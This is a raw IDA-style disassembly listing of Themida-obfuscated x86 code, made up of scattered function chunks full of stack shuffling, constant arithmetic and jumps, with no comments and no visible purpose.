; START OF FUNCTION CHUNK FOR sub_564E24
loc_55C48B: ; CODE XREF: sub_564E24-82CCj
and eax, ecx
mov ecx, [esp+0]
jmp loc_5606FD
; END OF FUNCTION CHUNK FOR sub_564E24
; ---------------------------------------------------------------------------
loc_55C495: ; CODE XREF: Themida_:0055C3AEj
pop esp
sub eax, esi
jmp loc_56730E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_55C49D: ; CODE XREF: sub_55FDEF+FBB8j
sub ebx, esi
push edi
mov edi, 674E3CD9h
jmp loc_5688F9
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
loc_55C4AA: ; CODE XREF: Themida_:00564DD0j
sub ebx, edx
jmp loc_56E752
; ---------------------------------------------------------------------------
loc_55C4B1: ; CODE XREF: Themida_:0056743Ej
add ebp, esi
pop esi
mov edx, [esp]
add esp, 4
push edx
mov edx, 4
add ebp, edx
mov edx, [esp]
add esp, 4
xchg ebp, [esp]
mov esp, [esp]
push eax
mov eax, esp
jmp loc_55FA29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_55C4DC: ; CODE XREF: sub_56CB7D-46B0j
push 891h
mov [esp+4+var_4], ebx
push [esp+4+var_4]
push [esp+8+var_8]
mov eax, [esp+0Ch+var_C]
jmp loc_560D76
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEE9
loc_55C4F2: ; CODE XREF: sub_56CEE9-B400j
dec edx
not edx
push esi
mov esi, 0A2FA9A3Fh
xor edx, esi
jmp loc_56EA00
; END OF FUNCTION CHUNK FOR sub_56CEE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C502: ; CODE XREF: sub_56755A+4038j
xor ah, byte ptr [esp+16h+var_18+2]
xor byte ptr [esp+16h+var_18+2], ah
jmp sub_569496
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
lodsw
push small 6C99h
mov [esp], si
jmp loc_55CCE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F62
loc_55C51C: ; CODE XREF: sub_562F62+B7A3j
mov [esp+0], edi
mov edi, 12CC43C6h
jmp sub_566504
; END OF FUNCTION CHUNK FOR sub_562F62
; ---------------------------------------------------------------------------
loc_55C529: ; CODE XREF: Themida_:0056E3A3j
push ecx
jmp loc_56334F
; ---------------------------------------------------------------------------
loc_55C52F: ; CODE XREF: Themida_:005660C6j
add esp, 4
jmp loc_55F5A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560483
loc_55C53A: ; CODE XREF: sub_560483+7F25j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+0]
pop esp
add eax, 4
add eax, 4
sub esp, 4
mov [esp+0], eax
push [esp+arg_0]
pop eax
pop dword ptr [esp+0]
pop esp
or edx, eax
shl edx, 1
jmp loc_561E2F
; END OF FUNCTION CHUNK FOR sub_560483
; ---------------------------------------------------------------------------
loc_55C56C: ; CODE XREF: Themida_:0056CC5Fj
push edi
push esi
jmp loc_55C9EE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F62
loc_55C573: ; CODE XREF: sub_562F62+2332j
add edx, 3C5E1F12h
add edx, edi
sub edx, 3C5E1F12h
push esi
mov esi, 10127B5Ah
add edx, esi
pop esi
push ecx
push edi
jmp loc_56CA40
; END OF FUNCTION CHUNK FOR sub_562F62
; ---------------------------------------------------------------------------
loc_55C591: ; CODE XREF: Themida_:00561D93j
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_55C596: ; CODE XREF: Themida_:0056DF76j
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, 1F0D5E96h
xchg ebx, ebp
not ebx
xchg ebx, ebp
inc ebp
jmp loc_5697B5
; ---------------------------------------------------------------------------
loc_55C5C2: ; CODE XREF: Themida_:0056E266j
mov [esp], ebp
mov ebp, 78067BEAh
add edx, ebp
pop ebp
add edx, 4B375057h
add edx, eax
push ecx
mov ecx, 0DD26319h
add ecx, 1
push edx
jmp loc_560230
; ---------------------------------------------------------------------------
loc_55C5E7: ; CODE XREF: Themida_:00565E49j
pop esp
jmp loc_5646A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C5ED: ; CODE XREF: sub_56755A+B8Dj
mov eax, 4CC54EF8h
jmp loc_5612B8
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push 76DAh
mov [esp], edx
push ebx
mov bh, 0B2h
mov dh, bh
pop ebx
push bx
mov bl, 0A2h
add al, bl
pop bx
add al, 56h
push bx
push eax
mov al, 0ABh
jmp loc_55C786
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C61C: ; CODE XREF: sub_56755A+EC1j
shr edx, 6
sub edx, 1
push ebx
mov ebx, 747156D8h
jmp loc_55DDD9
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_55E87C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C63C: ; CODE XREF: sub_56755A+3F60j
sub [esp+1Ah+var_14+2], ebp
pop ebp
sub [esp+16h+var_14+2], esi
add [esp+16h+var_14+2], 4CD40B34h
jmp loc_56908D
; ---------------------------------------------------------------------------
loc_55C652: ; CODE XREF: sub_56755A+7BF4j
mov [esp+16h+var_18+2], ebp
mov ebp, esp
jmp loc_56AD7F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55C65C: ; CODE XREF: Themida_:0056ECE8j
push edx
push esp
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ebp
jmp loc_567696
; ---------------------------------------------------------------------------
loc_55C674: ; CODE XREF: Themida_:0055B74Aj
div ecx
push 19D6h
mov [esp], ecx
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], esp
push ecx
mov ecx, 4
jmp loc_567A67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C69B: ; CODE XREF: sub_56755A+76B4j
xor edi, ebp
not ebp
push edi
push ebp
jmp loc_5648BF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55C6A6: ; CODE XREF: Themida_:005699A6j
push 1E5Dh
mov [esp], ecx
push esp
pop ecx
push 39A7h
mov [esp], ebp
sub esp, 4
jmp loc_56DA7A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C6C3: ; CODE XREF: sub_56755A+932j
and edi, eax
mov eax, [esp+1Eh+var_20+2]
jmp loc_56AD66
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55C6CD: ; CODE XREF: Themida_:0055EE3Cj
add esp, 4
add cl, 4Ah
sub cl, 7Eh
add cl, dh
push edx
jmp loc_565FCE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C6DE: ; CODE XREF: sub_56755A+853j
add ebx, esi
pop esi
add ebx, 4
xchg ebx, [esp+1Ah+var_1C+2]
jmp loc_569690
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55C6EF: ; CODE XREF: Themida_:0056D523j
mov esi, 44B2BC5h
dec esi
jmp loc_562444
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562272
loc_55C6FA: ; CODE XREF: sub_562272+A8BEj
or edx, eax
shl edx, 1
sub esp, 4
mov [esp+4+var_4], edx
push 4186h
mov [esp+8+var_8], edi
jmp loc_56F675
; END OF FUNCTION CHUNK FOR sub_562272
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C711: ; CODE XREF: sub_56755A-BE34j
mov [esp+8+var_8], ebx
jmp loc_5647F1
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_55C719 proc near ; CODE XREF: sub_55E99C+67Ej
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055B83C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055BE48 SIZE 00000049 BYTES
; FUNCTION CHUNK AT 0055EE4A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055F92E SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0055FC88 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00560566 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00564C5B SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0056551D SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00566E46 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00566F1E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005672E3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005688E3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A83C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056C8AB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F9C0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056FC09 SIZE 00000026 BYTES
push ebp
mov ebp, 796D1819h
add ecx, ebp
jmp loc_56551D
sub_55C719 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C726: ; CODE XREF: sub_56755A-960Bj
add edx, 0FC72D3Bh
mov edi, [esp+8+var_8]
push edx
push esp
pop edx
add edx, 4
add edx, 4
jmp loc_563112
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B774
loc_55C743: ; CODE XREF: sub_56B774-4933j
pop esi
pop [esp+0Ch+var_C]
mov esp, [esp+8+var_8]
mov [esp-8+arg_4], edx
push eax
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56B774
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C754: ; CODE XREF: sub_56755A+186Ej
pop edx
push dx
mov dh, 3Fh
xor al, dh
pop dx
push edx
mov dl, 90h
xor al, dl
pop edx
or bh, al
pop eax
push edx
mov dl, 43h
neg dl
jmp loc_565CCF
; ---------------------------------------------------------------------------
loc_55C770: ; CODE XREF: sub_56755A-A905j
pop edx
jmp loc_567A3F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55C776: ; CODE XREF: Themida_:0055E4FBj
not ecx
shl ecx, 2
push esi
mov esi, 79464AADh
jmp loc_5676A2
; ---------------------------------------------------------------------------
loc_55C786: ; CODE XREF: Themida_:0055C617j
inc al
add al, 0C9h
mov bh, al
pop eax
add al, bh
pop bx
sub al, dh
sub esp, 4
mov [esp], ebx
mov bl, 75h
sub al, bl
pop ebx
jmp loc_56D096
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EAA9
loc_55C7A6: ; CODE XREF: sub_56EAA9-12D2Dj
xor ebx, 9ADA851Ah
add ebp, ebx
pop ebx
add ebp, 4
jmp loc_56EAFD
; END OF FUNCTION CHUNK FOR sub_56EAA9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C7B7: ; CODE XREF: sub_56755A+2ABj
pop esp
mov [esp+0], ecx
push [esp+arg_0]
pop ecx
pop dword ptr [esp+0]
jmp loc_55CF3F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5615A9
loc_55C7C8: ; CODE XREF: sub_5615A9+3179j
mov bh, ch
pop ecx
jmp loc_56FD89
; END OF FUNCTION CHUNK FOR sub_5615A9
; ---------------------------------------------------------------------------
loc_55C7D0: ; CODE XREF: Themida_:0056AAE3j
mov ebx, esp
push esi
push ebp
jmp loc_569503
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C7D9: ; CODE XREF: sub_56755A-1ED4j
pop ecx
neg ebx
inc ebx
jmp loc_562A90
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5636A9
loc_55C7E2: ; CODE XREF: sub_5636A9+BEBFj
pop ebx
add ah, 18h
sub ah, 17h
shr ah, 5
jmp loc_568435
; END OF FUNCTION CHUNK FOR sub_5636A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C7F1: ; CODE XREF: sub_56755A+3232j
mov eax, 19195488h
mov ebx, eax
pop eax
or ebx, 366272A4h
inc ebx
add ebx, 632A6265h
push edi
mov edi, 5D5A26F2h
add ebx, 3F6F02CDh
add ebx, edi
sub ebx, 3F6F02CDh
jmp loc_57048C
; ---------------------------------------------------------------------------
loc_55C81F: ; CODE XREF: sub_56755A+ACFj
mov edx, [esp-8+arg_4]
add esp, 4
loc_55C828: ; CODE XREF: sub_56755A-822Dj
push 14E9h
jmp loc_567003
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55C832: ; CODE XREF: Themida_:00562154j
sub ebx, ebp
pop ebp
not ebx
sub ebx, 8052DA9h
add ebx, 0E2E378F9h
jmp loc_5602EC
; ---------------------------------------------------------------------------
loc_55C848: ; CODE XREF: Themida_:005637FEj
or edx, 628C7D08h
dec edx
sub edx, 77F8AC55h
add ecx, edx
pop edx
dec ecx
add ecx, 2AF22A5Ch
jmp loc_56C581
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D4B
loc_55C864: ; CODE XREF: sub_568D4B-7C5j
push eax
jmp loc_569210
; END OF FUNCTION CHUNK FOR sub_568D4B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56970A
loc_55C86A: ; CODE XREF: sub_56970A-B7F5j
dec ebp
add ebp, 0FFFFFFFFh
not ebp
xor ebp, 0FD19C7E1h
xor edx, ebp
mov ebp, [esp+4+var_4]
add esp, 4
add esi, 8465558h
add esi, edx
push eax
mov eax, 10330F04h
jmp loc_560881
; END OF FUNCTION CHUNK FOR sub_56970A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C897: ; CODE XREF: sub_56755A+6D89j
pop esp
mov [esp-0Ch+arg_8], ecx
sub esp, 4
jmp loc_568F72
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B62C
loc_55C8A3: ; CODE XREF: sub_56B62C-67E1j
neg bh
sub esp, 4
mov [esp+0Eh+var_E], edx
mov dh, 0D8h
jmp loc_56CBB2
; END OF FUNCTION CHUNK FOR sub_56B62C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_55C8B2: ; CODE XREF: sub_560B67+46D9j
add eax, edx
pop edx
add eax, 4
xchg eax, [esp+4+var_4]
mov esp, [esp+4+var_4]
sub esp, 4
jmp loc_560DEB
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C8CB: ; CODE XREF: sub_56755A-9F1Bj
pop ecx
push esi
not [esp-8+arg_4]
jmp loc_56986D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560FD7
loc_55C8D5: ; CODE XREF: sub_560FD7+53BAj
push eax
mov al, bl
mov dl, al
pop eax
mov cl, dl
jmp loc_565C0B
; END OF FUNCTION CHUNK FOR sub_560FD7
; ---------------------------------------------------------------------------
loc_55C8E2: ; CODE XREF: Themida_:0056022Bj
pop dword ptr [esp]
jmp loc_561695
; ---------------------------------------------------------------------------
loc_55C8EA: ; CODE XREF: Themida_:0056B357j
push ecx
jmp loc_56B0A5
; ---------------------------------------------------------------------------
loc_55C8F0: ; CODE XREF: Themida_:0056CF08j
mov edi, edx
pop edx
shr edi, 1
not edi
xor edi, 0FE0A492Fh
or esi, edi
push dword ptr [esp]
pop edi
add esp, 4
sub esi, 1
push edi
mov edi, 14D44C0Dh
add edi, 30737254h
or edi, 1B6B40C9h
dec edi
jmp loc_563C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C927: ; CODE XREF: sub_56755A-1340j
push edi
jmp loc_56D2C0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55C92D: ; CODE XREF: Themida_:0056B0EAj
pop dword ptr [esp]
pop esp
jmp loc_562CDC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB1B
loc_55C936: ; CODE XREF: sub_56CB1B-AEE6j
add ebx, esi
pop esi
sub ebx, 4
xchg ebx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], edx
push 30AC0A62h
pop edx
jmp loc_56509B
; END OF FUNCTION CHUNK FOR sub_56CB1B
; ---------------------------------------------------------------------------
loc_55C94E: ; CODE XREF: Themida_:00561951j
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
test cl, al
pushf
jmp loc_561B6B
; ---------------------------------------------------------------------------
loc_55C962: ; CODE XREF: Themida_:0055F128j
add esp, 4
push edi
push esi
mov esi, 3345B29h
shr esi, 1
xor esi, 623D4563h
add esi, 2C822090h
add esi, 0A43FF31Ah
mov edi, esi
pop esi
jmp loc_56E581
; ---------------------------------------------------------------------------
loc_55C988: ; CODE XREF: Themida_:0056A228j
xor ebx, 0D0AA81Ch
jmp loc_56F521
; ---------------------------------------------------------------------------
loc_55C993: ; CODE XREF: Themida_:0055EC5Aj
mov edi, 79ED42C9h
mov eax, edi
mov edi, [esp]
add esp, 4
xor eax, 454520ECh
shr eax, 4
push ecx
push edx
jmp loc_563AEE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570668
loc_55C9AF: ; CODE XREF: sub_570668-FF16j
not eax
xchg eax, [esp+4+var_4]
mov edi, [esp+4+var_4]
add esp, 4
jmp loc_563622
; END OF FUNCTION CHUNK FOR sub_570668
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C9C2: ; CODE XREF: sub_56755A+151Ej
pop esp
ror word ptr [esp-8+arg_4], cl
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55C9CD: ; CODE XREF: Themida_:0055BA92j
pop ebp
jmp loc_56EA5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C9D3: ; CODE XREF: sub_56755A+46D9j
mov esp, [esp-4+arg_0]
push dword ptr [edi+eax*4]
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
add esp, 4
jmp loc_56F043
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563616
loc_55C9E7: ; CODE XREF: sub_563616-425Dj
pop eax
push ebp
jmp loc_55C468
; END OF FUNCTION CHUNK FOR sub_563616
; ---------------------------------------------------------------------------
loc_55C9EE: ; CODE XREF: Themida_:0055C56Ej
mov esi, 5D3E4D49h
mov edi, esi
pop esi
jmp loc_560F10
; ---------------------------------------------------------------------------
loc_55C9FB: ; CODE XREF: Themida_:0056F70Aj
add esp, 4
sub esp, 4
jmp loc_56FBF9
; ---------------------------------------------------------------------------
loc_55CA06: ; CODE XREF: Themida_:0055E88Ej
mov [esp], esp
jmp loc_560D11
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55CA0E: ; CODE XREF: sub_56755A+3384j
xor [esp+0], edx
xor edx, [esp+0]
mov esp, [esp+0]
mov bh, al
mov eax, [esp+0]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_568DB3
; ---------------------------------------------------------------------------
loc_55CA2A: ; CODE XREF: sub_56755A+2127j
push esp
pop eax
add eax, 4
sub esp, 4
mov [esp+8+var_8], ebx
push 4F8E1432h
mov ebx, [esp+0Ch+var_C]
add esp, 4
shl ebx, 3
inc ebx
xor ebx, 7C70A193h
push esi
mov esi, 4EE4C71h
add eax, esi
pop esi
sub eax, ebx
sub esp, 4
mov [esp+0Ch+var_C], ebx
jmp loc_567F15
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55CA68: ; CODE XREF: Themida_:0056C46Ej
push 8A8h
mov [esp], esi
mov esi, 13FC5387h
and edi, esi
pop esi
jmp loc_56049D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEE9
loc_55CA7D: ; CODE XREF: sub_56CEE9-8FEEj
inc ebx
neg ebx
dec ebx
add ebx, 1D49287Ah
add ebp, ebx
pop ebx
sub ebp, 4
xchg ebp, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], edx
jmp loc_56186F
; END OF FUNCTION CHUNK FOR sub_56CEE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_55CA99: ; CODE XREF: sub_560B67+B56j
sub edi, 0ECBF6E7Ch
jmp loc_55DCDE
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_56B27F
; ---------------------------------------------------------------------------
loc_55CAB3: ; CODE XREF: Themida_:0056E7CFj
add ebp, 4
jmp loc_55D77A
; ---------------------------------------------------------------------------
loc_55CABE: ; CODE XREF: Themida_:0056E5FCj
add dh, bl
jmp loc_56BF60
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_55CAC5: ; CODE XREF: sub_56E89A-3BDFj
shr edx, 1
cmp eax, edx
jz loc_570536
push edx
sub esp, 4
jmp loc_56810C
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_55CAD8: ; CODE XREF: sub_566504+8A09j
push esi
jmp sub_55E931
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
loc_55CADE: ; CODE XREF: Themida_:00562915j
mov eax, 4
sub ebp, eax
mov eax, [esp]
add esp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, 15065144h
jmp loc_562D80
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_55CB01: ; CODE XREF: sub_56E89A-9F6Dj
xor esi, eax
xor eax, esi
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+4+var_4]
pop esp
mov [esp+0], esi
sub esp, 4
jmp loc_56EF3F
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55CB22: ; CODE XREF: sub_56755A-401Ej
sub edx, 4
xchg edx, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], ebx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
mov ebx, [esp+8+var_8]
jmp loc_56D17D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564E24
loc_55CB51: ; CODE XREF: sub_564E24+4B1Fj
sub ecx, 2C123F07h
pop eax
jmp loc_55C48B
; END OF FUNCTION CHUNK FOR sub_564E24
; ---------------------------------------------------------------------------
loc_55CB5D: ; CODE XREF: Themida_:0055FA44j
push 2A60h
mov [esp], esi
push 7486779Dh
jmp loc_567C0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55CB6F: ; CODE XREF: sub_56755A+818Fj
mov [esp+8+var_8], edi
mov edi, 386E7EDCh
inc edi
and edi, 14C907D8h
sub edi, 504B4CEAh
xchg esi, edi
dec esi
not esi
xchg esi, edi
push ebp
jmp loc_55FE2A
; ---------------------------------------------------------------------------
loc_55CB91: ; CODE XREF: sub_56755A-4853j
shr si, 2
push edi
mov di, 948h
dec di
jmp loc_55BAC5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55CBA1: ; CODE XREF: Themida_:0056DB69j
mov ebx, 9D734AEh
neg ebx
and ebx, 71631000h
or ebx, 0D92624Dh
dec ebx
shl ebx, 2
jmp loc_56012B
; ---------------------------------------------------------------------------
loc_55CBBD: ; CODE XREF: Themida_:0055BEDCj
sub esp, 4
mov [esp], ebx
push esp
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push eax
mov eax, esp
jmp loc_57000D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55CBD8: ; CODE XREF: sub_56755A+630j
push ecx
jmp loc_55D76F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A500
loc_55CBDE: ; CODE XREF: sub_56A500-3D0j
pop [esp+0Ch+var_C]
add [esp+8+var_8], 4
push [esp+8+var_8]
jmp loc_55C3B3
; END OF FUNCTION CHUNK FOR sub_56A500
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55CBF0: ; CODE XREF: sub_56755A+4E92j
xor esi, [esp+14h+var_14]
jmp loc_56B1DE
; ---------------------------------------------------------------------------
loc_55CBF8: ; CODE XREF: sub_56755A+82AAj
shr ah, 1
add ah, 11h
sub ah, 82h
shr ah, 1
jmp loc_568BAC
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FFC1
loc_55CC07: ; CODE XREF: sub_55FFC1+A80Cj
add eax, [ebx]
jmp loc_564F82
; END OF FUNCTION CHUNK FOR sub_55FFC1
; ---------------------------------------------------------------------------
loc_55CC0E: ; CODE XREF: Themida_:00564750j
pop edi
add esi, 1E4C7Dh
push edi
mov edi, 47501520h
add esi, edi
jmp loc_56E64B
; ---------------------------------------------------------------------------
loc_55CC22: ; CODE XREF: Themida_:005642A0j
pop esp
mov [esp], esi
push dword ptr [esp+4]
pop esi
jmp loc_55F47C
; ---------------------------------------------------------------------------
loc_55CC30: ; CODE XREF: Themida_:0056D4CBj
push ebx
mov bh, 0D2h
shr bh, 2
sub bh, 0EFh
xor cl, bh
pop ebx
push cx
not byte ptr [esp]
pop cx
sub cl, 73h
or dh, cl
jmp loc_55EA0E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55CC4D: ; CODE XREF: sub_56755A-208Fj
sub edx, 78AF7FBAh
sub ebx, edx
jmp loc_55C770
; ---------------------------------------------------------------------------
loc_55CC5A: ; CODE XREF: sub_56755A-5D34j
pop ebx
xchg dl, cl
push edx
jmp loc_56C7F7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55CC63: ; CODE XREF: Themida_:0056FC04j
xor esi, [esp]
jmp loc_568173
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55CC6B: ; CODE XREF: sub_56755A-5AE8j
add ebp, 648D2B60h
shr ebp, 6
xor ebp, 47815331h
mov ebx, ebp
jmp loc_56922B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_55CC81: ; CODE XREF: sub_56CB7D-93A7j
xor eax, ecx
jmp loc_5669C0
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
loc_55CC88: ; CODE XREF: Themida_:0055EC37j
pop ecx
sub ebx, 639E240Bh
push 72E9h
mov [esp], esi
push 21E12CB9h
pop esi
jmp loc_56B647
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55CCA2: ; CODE XREF: sub_56755A-3A04j
mov al, 4Bh
push edx
mov dh, al
push ecx
jmp loc_55CFC3
; ---------------------------------------------------------------------------
loc_55CCAD: ; CODE XREF: sub_56755A-75A6j
mov [esp+1Ch+var_1C], ecx
mov ecx, 4
sub [esp+1Ch+var_18], 7ED73440h
add [esp+1Ch+var_18], ecx
jmp loc_5689CF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55CCC6: ; CODE XREF: Themida_:00568780j
mov esp, [esp]
mov dx, [esp]
push ebp
mov ebp, esp
push ecx
mov ecx, esp
push edx
mov edx, 0A841A9Eh
xor edx, 6C77598Eh
jmp loc_563293
; ---------------------------------------------------------------------------
loc_55CCE4: ; CODE XREF: Themida_:0055C517j
push di
mov di, 1C40h
mov si, di
pop di
add ax, 1362h
add ax, 2F46h
add ax, si
sub ax, 2F46h
jmp loc_56596F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5636A9
loc_55CD03: ; CODE XREF: sub_5636A9+57C5j
dec bl
jmp loc_56F55D
; END OF FUNCTION CHUNK FOR sub_5636A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55CD0A: ; CODE XREF: sub_56755A+BDFj
mov [esp+1Ch+var_1C], edx
push 4
mov edx, [esp+20h+var_20]
add esp, 4
jmp loc_56B99D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
